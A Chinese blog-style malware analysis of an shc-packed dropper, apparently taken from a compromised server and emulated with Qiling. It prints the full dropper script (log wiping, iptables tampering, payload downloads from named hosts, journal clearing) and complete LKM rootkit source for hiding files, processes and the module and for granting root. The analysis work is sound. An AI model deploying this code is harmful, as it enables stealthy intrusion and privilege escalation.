💡 友:谁家好人在我服务器里放这个😡

我:发来玩玩

样本sha256sum: 54d60fd58d7fa3475fa123985bfc1594df26da25c1f5fbc7dfdba15876dd8ac5

查一下好像不少分析了。但是还是试试好不好玩?

快速看一下没加壳,所以直接丢ida里。

 可以找到逻辑在上面的main_logic里面。

注意到sub_400BC5是从.data段拿出很多东西,根据长度解密。且第一次运行了sub_400AE3。

看一眼像是rc4的ksa?

这个是prng,rc4没跑了

可以注意到这里用了execvp

考虑直接hook最后这里。

再大概看了下还有这样的一个函数用来检查environment,然后决定下面的执行流程:

分析到这里大概可以知道,run ⇒ checkenv ⇒ execvp。所以考虑hook掉这几个syscall,观察参数。

直接在物理机运行这个文件会对系统造成损坏,我们用“qiling“模拟执行。注意到这里我们需要下载它给的rootfs(或者其实是glibc)

Python
from sys import argvfrom qiling import Qilingfrom capstone import Csfrom qiling.const import QL_ARCH, QL_OS, QL_VERBOSE, QL_INTERCEPTfrom qiling.os.const import STRING, POINTERfrom colorama import Fore, Style, initbinary_path = "target"rootfs = "./rootfs/x8664_linux"ql = Qiling(    [binary_path],    rootfs,    archtype=QL_ARCH.X8664,    ostype=QL_OS.LINUX,    verbose=QL_VERBOSE.OFF,)def ql_hook_execvp(ql):    params = ql.os.resolve_fcall_params({'file': STRING, 'argv': POINTER})    print(f"{Fore.CYAN}[*] execvp{Style.RESET_ALL}('{Fore.YELLOW}{params['file']}{Style.RESET_ALL}'", end="")    argv_ptr = params["argv"]    if argv_ptr:        i = 0        while True:            arg_ptr = ql.mem.read_ptr(argv_ptr + i * ql.arch.pointersize)            if arg_ptr == 0:                break            arg_str = ql.os.utils.read_cstring(arg_ptr)            print(f", {Fore.GREEN}\"{arg_str}\"{Style.RESET_ALL}", end="")            i += 1        print(")")    return 0def ql_hook_getenv(ql):    params = ql.os.resolve_fcall_params({'name': STRING})    name = params['name']    print(f"{Fore.YELLOW}[*] getenv('{name}'){Style.RESET_ALL}")    ql.arch.regs.rax = 0 # return 0def ql_hook_putenv(ql):    params = ql.os.resolve_fcall_params({'name': STRING})    name = params['name']    print(f"{Fore.YELLOW}[*] putenv('{name}'){Style.RESET_ALL}")    ql.arch.regs.rax = 0 # return 0ql.os.set_api("execvp", ql_hook_execvp)ql.os.set_api("getenv", ql_hook_getenv)ql.os.set_api("putenv", ql_hook_putenv)ql.run()

运行后可以看到,它设置里环境变量,而后重启了一次。

所以模拟一下环境变量,底下运行参数带上:

Python
from sys import argvfrom qiling import Qilingfrom capstone import Csfrom qiling.const import QL_ARCH, QL_OS, QL_VERBOSE, QL_INTERCEPTfrom qiling.os.const import STRING, POINTERfrom colorama import Fore, Style, initbinary_path = "target"rootfs = "./rootfs/x8664_linux"env_storage = {}_ENV_ARENA_BASE = None_ENV_ARENA_SIZE = 0x10000_ENV_ARENA_NEXT = 0def _env_alloc(ql, size: int) -> int:    global _ENV_ARENA_BASE, _ENV_ARENA_NEXT    size = (size + 7) & ~7    if _ENV_ARENA_BASE is None:        base = 0x55550000        ql.mem.map(base, _ENV_ARENA_SIZE, 3)        _ENV_ARENA_BASE = base        _ENV_ARENA_NEXT = 0    if _ENV_ARENA_NEXT + size > _ENV_ARENA_SIZE:        new_base = _ENV_ARENA_BASE + _ENV_ARENA_SIZE        ql.mem.map(new_base, _ENV_ARENA_SIZE, 3)        _ENV_ARENA_BASE = new_base        _ENV_ARENA_NEXT = 0    addr = _ENV_ARENA_BASE + _ENV_ARENA_NEXT    _ENV_ARENA_NEXT += size    return addrinit(autoreset=True)def ql_hook_execvp(ql):    params = ql.os.resolve_fcall_params({'file': STRING, 'argv': POINTER})    print(f"{Fore.CYAN}[*] execvp{Style.RESET_ALL}('{Fore.YELLOW}{params['file']}{Style.RESET_ALL}'", end="")    argv_ptr = params["argv"]    if argv_ptr:        i = 0        while True:            arg_ptr = ql.mem.read_ptr(argv_ptr + i * ql.arch.pointersize)            if arg_ptr == 0:                break            arg_str = ql.os.utils.read_cstring(arg_ptr)            print(f", {Fore.GREEN}\"{arg_str}\"{Style.RESET_ALL}", end="")            i += 1        print(")")    return 0def ql_hook_getenv(ql):    params = ql.os.resolve_fcall_params({'name': STRING})    name = params['name']    print(f"{Fore.YELLOW}[*] getenv('{name}'){Style.RESET_ALL}")    ql.arch.regs.rax = 0 # return 0    if name in env:        value = env[name]        value_bytes = value.encode() + b'\x00'        cached = env_storage.get(name)        if cached and len(value_bytes) <= cached[1]:            cstr_addr = cached[0]        else:            cstr_addr = _env_alloc(ql, len(value_bytes))            env_storage[name] = (cstr_addr, len(value_bytes))        ql.mem.write(cstr_addr, value_bytes)        ql.arch.regs.rax = cstr_addr        print(f" -> '{value}'")    else:        ql.arch.regs.rax = 0        print(" -> NULL")def ql_hook_putenv(ql):    params = ql.os.resolve_fcall_params({'name': STRING})    name = params['name']    print(f"{Fore.YELLOW}[*] putenv('{name}'){Style.RESET_ALL}", end="")    ql.arch.regs.rax = 0 # return 0ql = Qiling(    [binary_path, "-c", f"exec '{binary_path}' \"$@\"", binary_path],    rootfs,    archtype=QL_ARCH.X8664,    ostype=QL_OS.LINUX,    verbose=QL_VERBOSE.OFF,)env = {"x286b700fc2c16ba1": "2912544797019433889 4"}ql.os.set_api("execvp", ql_hook_execvp)ql.os.set_api("getenv", ql_hook_getenv)ql.os.set_api("putenv", ql_hook_putenv)ql.run()

后面搜索之后发现这玩意是shc编译的。

于是搓了个妙妙脚本,适配了所有的shc版本,只要glibc版本是对的就能用(?

可以extract出来脚本,这里分开写,不然没高亮了。

Shell
rm -rf /var/www/html/config.jsonrm -rf /root/.xmrig.jsonrm -rf /root/.config/xmrig.jsonrm -rf /var/log/messages*rm -rf /var/log/secure*rm -rf /var/log/auth.log*rm -rf /var/log/syslog*# 删除操作痕迹echo "fs.file-max = 2097152" > /etc/sysctl.confsysctl -pulimit -SHn 1024000# 修改系统限制(文件系统描述符数量)mv /usr/sbin/tokens /usr/sbin/iptables 2>/dev/null 1>/dev/null&mv /sbin/tokens /sbin/iptables 2>/dev/null 1>/dev/null&sleep 1# 看不懂?iptables -L INPUT -v -n | grep 138.68 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -siptables -L INPUT -v -n | grep 67.207 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -siptables -L INPUT -v -n | grep 46.101 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -siptables -L INPUT -v -n | grep 157.245 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -siptables -L INPUT -v -n | grep 146.190 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -siptables -L INPUT -v -n | grep 144.126 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -siptables -L INPUT -v -n | grep 167.172 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -siptables -L INPUT -v -n | grep 172.104 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -siptables -L INPUT -v -n | grep 172.105 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s# 丢掉系统中部分关于特定ip的防火墙规则mv /usr/sbin/iptables /usr/sbin/tokens 2>/dev/null 1>/dev/null&mv /sbin/iptables /sbin/tokens 2>/dev/null 1>/dev/null&# 还是不懂,和刚刚那段一样hhide=$1if [ -z "$1" ]; then  hhide="ad12e85f"else  hhide="$1"fi

然后做了一个文件:

C
#include <linux/sched.h>#include <linux/module.h>#include <linux/syscalls.h>#include <linux/dirent.h>#include <linux/slab.h>#include <linux/version.h>#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 13, 0)#include <asm/uaccess.h>#endif#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 10, 0)#include <linux/proc_ns.h>#else#include <linux/proc_fs.h>#endif#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 26)#include <linux/file.h>#else#include <linux/fdtable.h>#endif#if LINUX_VERSION_CODE <= KERNEL_VERSION(2, 6, 18)#include <linux/unistd.h>#endif#ifndef __NR_getdents#define __NR_getdents 141#endif#include "iptable_reject.h"#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)unsigned long cr0;#elif IS_ENABLED(CONFIG_ARM64)void (*update_mapping_prot)(phys_addr_t phys, unsigned long virt, phys_addr_t size, pgprot_t prot);unsigned long start_rodata;unsigned long init_begin;#define section_size init_begin - start_rodata#endifstatic unsigned long *__sys_call_table;#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)        typedef asmlinkage long (*t_syscall)(const struct pt_regs *);        static t_syscall orig_getdents;        static t_syscall orig_getdents64;        static t_syscall orig_kill;#else        typedef asmlinkage int (*orig_getdents_t)(unsigned int, struct linux_dirent *,                unsigned int);        typedef asmlinkage int (*orig_getdents64_t)(unsigned int,                struct linux_dirent64 *, unsigned int);        typedef asmlinkage int (*orig_kill_t)(pid_t, int);        orig_getdents_t orig_getdents;        orig_getdents64_t orig_getdents64;        orig_kill_t orig_kill;#endifunsigned long *get_syscall_table_bf(void){        unsigned long *syscall_table;#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 4, 0)#ifdef KPROBE_LOOKUP        typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);        kallsyms_lookup_name_t kallsyms_lookup_name;        register_kprobe(&kp);        kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;        unregister_kprobe(&kp);#endif        syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");        return syscall_table;#else        unsigned long int i;        for (i = (unsigned long int)sys_close; i < ULONG_MAX;                        i += sizeof(void *)) {                syscall_table = (unsigned long *)i;                if (syscall_table[__NR_close] == (unsigned long)sys_close)                        return syscall_table;        }        return NULL;#endif}struct task_struct *find_task(pid_t pid){        struct task_struct *p = current;        for_each_process(p) {                if (p->pid == pid)                        return p;        }        return NULL;}intis_invisible(pid_t pid){        struct task_struct *task;        if (!pid)                return 0;        task = find_task(pid);        if (!task)                return 0;        if (task->flags & PF_INVISIBLE)                return 1;        return 0;}#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)static asmlinkage long hacked_getdents64(const struct pt_regs *pt_regs) {#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)        int fd = (int) pt_regs->di;        struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si;#elif IS_ENABLED(CONFIG_ARM64)        int fd = (int) pt_regs->regs[0];        struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->regs[1];#endif        int ret = orig_getdents64(pt_regs), err;#elseasmlinkage inthacked_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent,        unsigned int count){        int ret = orig_getdents64(fd, dirent, count), err;#endif        unsigned short proc = 0;        unsigned long off = 0;        struct linux_dirent64 *dir, *kdirent, *prev = NULL;        struct inode *d_inode;        if (ret <= 0)                return ret;        kdirent = kzalloc(ret, GFP_KERNEL);        if (kdirent == NULL)                return ret;        err = copy_from_user(kdirent, dirent, ret);        if (err)                goto out;#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)        d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;#else        d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;#endif        if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev)                /*&& MINOR(d_inode->i_rdev) == 1*/)                proc = 1;        while (off < ret) {                dir = (void *)kdirent + off;                if ((!proc &&                (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0))                || (proc &&                is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {                        if (dir == kdirent) {                                ret -= dir->d_reclen;                                memmove(dir, (void *)dir + dir->d_reclen, ret);                                continue;                        }                        prev->d_reclen += dir->d_reclen;                } else                        prev = dir;                off += dir->d_reclen;        }        err = copy_to_user(dirent, kdirent, ret);        if (err)                goto out;out:        kfree(kdirent);        return ret;}#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)static asmlinkage long hacked_getdents(const struct pt_regs *pt_regs) {#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)        int fd = (int) pt_regs->di;        struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si;#elif IS_ENABLED(CONFIG_ARM64)                int fd = (int) pt_regs->regs[0];        struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->regs[1];#endif        int ret = orig_getdents(pt_regs), err;#elseasmlinkage inthacked_getdents(unsigned int fd, struct linux_dirent __user *dirent,        unsigned int count){        int ret = orig_getdents(fd, dirent, count), err;#endif        unsigned short proc = 0;        unsigned long off = 0;        struct linux_dirent *dir, *kdirent, *prev = NULL;        struct inode *d_inode;        if (ret <= 0)                return ret;        kdirent = kzalloc(ret, GFP_KERNEL);        if (kdirent == NULL)                return ret;        err = copy_from_user(kdirent, dirent, ret);        if (err)                goto out;#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)        d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;#else        d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;#endif        if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev)                /*&& MINOR(d_inode->i_rdev) == 1*/)                proc = 1;        while (off < ret) {                dir = (void *)kdirent + off;                if ((!proc &&                (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0))                || (proc &&                is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {                        if (dir == kdirent) {                                ret -= dir->d_reclen;                                memmove(dir, (void *)dir + dir->d_reclen, ret);                                continue;                        }                        prev->d_reclen += dir->d_reclen;                } else                        prev = dir;                off += dir->d_reclen;        }        err = copy_to_user(dirent, kdirent, ret);        if (err)                goto out;out:        kfree(kdirent);        return ret;}voidgive_root(void){        #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)                current->uid = current->gid = 0;                current->euid = current->egid = 0;                current->suid = current->sgid = 0;                current->fsuid = current->fsgid = 0;        #else                struct cred *newcreds;                newcreds = prepare_creds();                if (newcreds == NULL)                        return;                #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 5, 0)                         && defined(CONFIG_UIDGID_STRICT_TYPE_CHECKS)                         || LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0)                        newcreds->uid.val = newcreds->gid.val = 0;                        newcreds->euid.val = newcreds->egid.val = 0;                        newcreds->suid.val = newcreds->sgid.val = 0;                        newcreds->fsuid.val = newcreds->fsgid.val = 0;                #else                        newcreds->uid = newcreds->gid = 0;                        newcreds->euid = newcreds->egid = 0;                        newcreds->suid = newcreds->sgid = 0;                        newcreds->fsuid = newcreds->fsgid = 0;                #endif                commit_creds(newcreds);        #endif}static inline voidtidy(void){        kfree(THIS_MODULE->sect_attrs);        THIS_MODULE->sect_attrs = NULL;}static struct list_head *module_previous;static short module_hidden = 0;voidmodule_show(void){        list_add(&THIS_MODULE->list, module_previous);        module_hidden = 0;}voidmodule_hide(void){        module_previous = THIS_MODULE->list.prev;        list_del(&THIS_MODULE->list);        module_hidden = 1;}#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)asmlinkage inthacked_kill(const struct pt_regs *pt_regs){#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)        pid_t pid = (pid_t) pt_regs->di;        int sig = (int) pt_regs->si;#elif IS_ENABLED(CONFIG_ARM64)        pid_t pid = (pid_t) pt_regs->regs[0];        int sig = (int) pt_regs->regs[1];#endif#elseasmlinkage inthacked_kill(pid_t pid, int sig){#endif        struct task_struct *task;        switch (sig) {                case SIGINVIS:                        if ((task = find_task(pid)) == NULL)                                return -ESRCH;                        task->flags ^= PF_INVISIBLE;                        break;                case SIGSUPER:                        give_root();                        break;                case SIGMODINVIS:                        if (module_hidden) module_show();                        else module_hide();                        break;                default:#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)                        return orig_kill(pt_regs);#else                        return orig_kill(pid, sig);#endif        }        return 0;}#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)static inline voidwrite_cr0_forced(unsigned long val){        unsigned long __force_order;        asm volatile(                "mov %0, %%cr0"                : "+r"(val), "+m"(__force_order));}#endifstatic inline voidprotect_memory(void){#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)        write_cr0_forced(cr0);#else        write_cr0(cr0);#endif#elif IS_ENABLED(CONFIG_ARM64)        update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata,                        section_size, PAGE_KERNEL_RO);#endif}static inline voidunprotect_memory(void){#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)        write_cr0_forced(cr0 & ~0x00010000);#else        write_cr0(cr0 & ~0x00010000);#endif#elif IS_ENABLED(CONFIG_ARM64)        update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata,                        section_size, PAGE_KERNEL);#endif}static int __initiptable_reject_init(void){        __sys_call_table = get_syscall_table_bf();        if (!__sys_call_table)                return -1;#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)        cr0 = read_cr0();#elif IS_ENABLED(CONFIG_ARM64)        update_mapping_prot = (void *)kallsyms_lookup_name("update_mapping_prot");        start_rodata = (unsigned long)kallsyms_lookup_name("__start_rodata");        init_begin = (unsigned long)kallsyms_lookup_name("__init_begin");#endif        module_hide();        tidy();#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)        orig_getdents = (t_syscall)__sys_call_table[__NR_getdents];        orig_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64];        orig_kill = (t_syscall)__sys_call_table[__NR_kill];#else        orig_getdents = (orig_getdents_t)__sys_call_table[__NR_getdents];        orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64];        orig_kill = (orig_kill_t)__sys_call_table[__NR_kill];#endif        unprotect_memory();        __sys_call_table[__NR_getdents] = (unsigned long) hacked_getdents;        __sys_call_table[__NR_getdents64] = (unsigned long) hacked_getdents64;        __sys_call_table[__NR_kill] = (unsigned long) hacked_kill;        protect_memory();        return 0;}static void __exitiptable_reject_cleanup(void){        unprotect_memory();        __sys_call_table[__NR_getdents] = (unsigned long) orig_getdents;        __sys_call_table[__NR_getdents64] = (unsigned long) orig_getdents64;        __sys_call_table[__NR_kill] = (unsigned long) orig_kill;        protect_memory();}module_init(iptable_reject_init);module_exit(iptable_reject_cleanup);MODULE_LICENSE("Dual BSD/GPL");MODULE_AUTHOR("m0nad");MODULE_DESCRIPTION("LKM rootkit");
C
struct linux_dirent {        unsigned long   d_ino;        unsigned long   d_off;        unsigned short  d_reclen;        char            d_name[1];};#define MAGIC_PREFIX ""#define PF_INVISIBLE 0x10000000#define MODULE_NAME "iptable_reject"enum {        SIGINVIS = 41,        SIGSUPER = 54,        SIGMODINVIS = 53,};#ifndef IS_ENABLED#define IS_ENABLED(option) (defined(__enabled_ ## option) || defined(__enabled_ ## option ## _MODULE))#endif#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0)#define KPROBE_LOOKUP 1#include <linux/kprobes.h>static struct kprobe kp = {            .symbol_name = "kallsyms_lookup_name"};#endif
C
obj-m := iptable_reject.oCC = gcc -WallKDIR := /lib/modules/25.0.0/buildPWD := /tmp/a

并且尝试把这个内核扩展编译后加载进系统。

不太懂,请G老师来讲把!

💡 这是一个典型的 LKM rootkit(内核模块后门),通过劫持 getdents / getdents64 隐藏文件/目录和进程、劫持 kill 添加自定义信号来切换“隐身”/提权/模块隐藏,并通过修改 sys_call_table 实现这些功能;同时包含多内核版本兼容分支和 x86/arm64 的内存写保护处理。

下面我把代码按功能模块拆解说明、指出风险/缺陷、给出检测与处置建议,以及若你要改进/审计作者可做的要点。


代码结构与关键函数(逐块解释)

1) 入口 / 退出

  • module_init(iptable_reject_init) / module_exit(iptable_reject_cleanup):模块加载时查找 sys_call_table、保存原始系统调用指针、修改内存写保护、替换 getdents/getdents64/kill 为自定义实现;卸载时恢复原始表并恢复保护。

2) 查找系统调用表

  • get_syscall_table_bf()
    • 若内核支持 kallsyms_lookup_name(通过 KPROBE_LOOKUP + kprobe),直接查找 "sys_call_table"
    • 否则使用暴力遍历法(从 sys_close 的地址开始逐页扫描,检测 __NR_close 指向 sys_close)——经典但危险的技巧(误报、性能与稳定性问题)。
    • 注:代码里有 register_kprobe(&kp); kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; unregister_kprobe(&kp); ——但当前片段中 kp 未见定义,实际编译可能需要补全。

3) 内存写保护处理(x86 / arm64)

  • x86/x86_64:
    • 保存 cr0,通过 write_cr0/write_cr0_forced 清写保护位写回 sys_call_table,操作结束后再恢复 cr0
  • arm64:
    • 通过 kallsyms_lookup_name("update_mapping_prot") 获取函数指针并调用以修改 .rodata/只读区页属性。
  • 目的:临时去掉内核页写保护以覆盖 sys_call_table

4) 隐藏模块(module_hide/module_show)

  • module_hide():保存 THIS_MODULE->list.prev,从模块链表中 list_del(&THIS_MODULE->list),将模块从 /proc/modules 和模块链表中移除。
  • module_show():把模块重新 list_add 到之前保存的位置。
  • 风险:如果模块链表修改或顺序被改变,module_show() 恢复可能失败或插入到错误位置。

5) 提权与清理

  • give_root():使用 prepare_creds() / 修改 newcreds 的 UID/GID/EUID 等为 0 / commit_creds() 提权当前进程。
    • 分内核版本分支,为不同内核 API 兼容做适配。
  • tidy()kfree(THIS_MODULE->sect_attrs) 并把指针置 NULL(清除模块属性以减少可见性?)。

6) 进程/隐藏逻辑

  • find_task(pid_t pid):遍历进程链表(for_each_process)查找目标 task_struct
  • is_invisible(pid_t pid):检测目标进程 task->flags & PF_INVISIBLE 是否被设置。
    • PF_INVISIBLE 并非内核标准常见标志(这是 rootkit 定义的自有位或利用未使用位),修改 task->flags 来标记隐身。
  • hacked_getdents / hacked_getdents64
    • 调用原始 getdents/getdents64 得到结果长度 ret,分配内核缓冲 kdirent,从用户空间 copy_from_user 整块拷贝目录项,遍历目录项:
      • 如果是普通目录且文件名以 MAGIC_PREFIX(来自 iptable_reject.h)开头 -> 隐藏。
      • 如果是 /proc 根目录(通过 d_inode->i_ino == PROC_ROOT_INO 检测)且 is_invisible(atoi(d_name)) 返回真 -> 隐藏对应 pid 条目。
      • 隐藏实现通过调整前一项 d_reclenmemmove 把条目从缓冲中删除。
    • 最后 copy_to_user 回写并 kfree
    • 注意:对用户缓冲的假设(size = ret)可能与用户传入 countstruct linux_dirent 大小有关,兼容性敏感。
  • hacked_kill
    • 解析 kill(pid, sig)(或 pt_regs 版本):
      • 特定自定义信号 SIGINVIS:切换目标进程的 PF_INVISIBLE(隐身开关)。
      • SIGSUPER:调用 give_root() 给发送该信号的进程提权(或给目标进程?代码对 pid 的使用需看调用,通常为目标 pid)。
      • SIGMODINVIS:切换模块隐藏(module_hidden 标志)。
      • 其它信号委托给原始 kill
    • 由此,攻击者可以用 kill -<magic> <pid> 来控制 rootkit 行为。

整体目的与能力(总结)

  • 隐藏文件/目录(通过前缀 MAGIC_PREFIX);
  • 隐藏 /proc/<pid> 中的某些进程(通过 PF_INVISIBLE 标志);
  • 通过特定 kill 信号对进程施加“隐身切换”、提升权限(give_root)、模块隐藏/显示;
  • 隐藏模块自身(从模块链表中移除);
  • 兼容多内核版本与多架构(x86/x86_64/ARM64)的实现分支。

简言之:一个完全的 rootkit 功能集合(隐藏 + 后门提权 + 控制通道)

于是这个恶意软件在内核中添加了很多提权功能和通道。

接着看

Shell
DIR3="/etc/$hhide"if [ -d "$DIR3" ]; then  echo "folder  ok"else  mkdir "$DIR3"fiEXE=`echo $RANDOM | md5sum | head -c 8` # 随机process! PID=`cat /tmp/.X0_locks` # 已经启动的进程mama=$2 # 代理if [ -e "/proc/$PID/status" ]; then  echo "process exists" # 存在了,直接退出?elseif [ -z "$2" ]; then # 没有proxy,也退出。  echo "No Prx"else  if grep -q "localhost00" "/etc/hosts"; then # localhost00 添加    echo "H exists"  else    if [ `wc -l < /etc/hosts` -lt 3 ]; then      echo "$mama localhost00" >> /etc/hosts # localhost00 -> localhost    else      sed -i "3i $mama localhost00" /etc/hosts    fi  fifi  echo "process not exists"  FILE1="/etc/$hhide/iptable_reject"  if [ -f "$FILE1" ]; then      echo "PI exists."  else # 下载解压      echo "PI does not exist."      curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname "$mama":9090 http://example.established.site/pn.zip    FILE="/tmp/pn.zip"    FILESIZE=$(stat -c%s "$FILE")    if (( FILESIZE > "1000000")); then         echo "zip exists."    else        echo "zip does not exist."        rm -rf "$FILE"        wget --timeout=5 --tries=2 http://example.established.site/pn.zip -q -O /tmp/pn.zip    fi    if (( FILESIZE > "1000000")); then         echo "zip exists."    else        echo "zip does not exist."        rm -rf "$FILE"        curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname "$mama":1081 http://example.established.site/pn.zip    fi    if (( FILESIZE > "1000000")); then         echo "zip exists."    else        echo "zip does not exist."        rm -rf "$FILE"        wget --timeout=5 --tries=2 http://w.amax.fun/pn.zip -q -O /tmp/pn.zip    fi    if (( FILESIZE > "1000000")); then       echo "zip exists."    else        echo "zip does not exist."        rm -rf "$FILE"        curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname "$mama":9090 http://172.104.170.240/pn.zip    fi    if (( FILESIZE > "1000000")); then         echo "zip exists."    else        echo "zip does not exist."        rm -rf "$FILE"        wget --timeout=50 --tries=2 http://172.104.170.240/pn.zip -q -O /tmp/pn.zip    fi    cd /tmp/    unzip -qq -o pn.zip    rm -rf pn.zip    mv iptable_reject "$FILE1"  fi  # 准备运行  FILE2="/$EXE"  if [ -f "$FILE2" ]; then      echo "MD exists."  else      echo "MD does not exist."      cp "$FILE1" /"$EXE"  fi  /"$EXE" 2>/dev/null 1>/dev/null&  sleep 2  pidof "$EXE" > /tmp/.X0_locks # 存放pid  rm -rf /"$EXE"  kill -53 10000000 # 提权  if grep -q "iptable_reject" "/proc/modules"; then    echo "M exists"    kill -41 `cat /tmp/.X0_locks` # 提权    kill -53 10000000  else    echo "M not exists"    module_install    kill -53 10000000  if grep -q "iptable_reject" "/proc/modules"; then    echo "M exists"    kill -41 `cat /tmp/.X0_locks`    kill -53 10000000  else    echo "M not installed check errors 2"  fi  fifisudo journalctl --vacuum-time=1s

嗯于是下一步是拿到他的pn.zip,同样我们也找到了——sha256sum是:751227400b52c41bbaecea83dc97182c10da158e22d0168f237c9b6c3be8e0d8 。这个可以找到相关的分析,这里就不做了。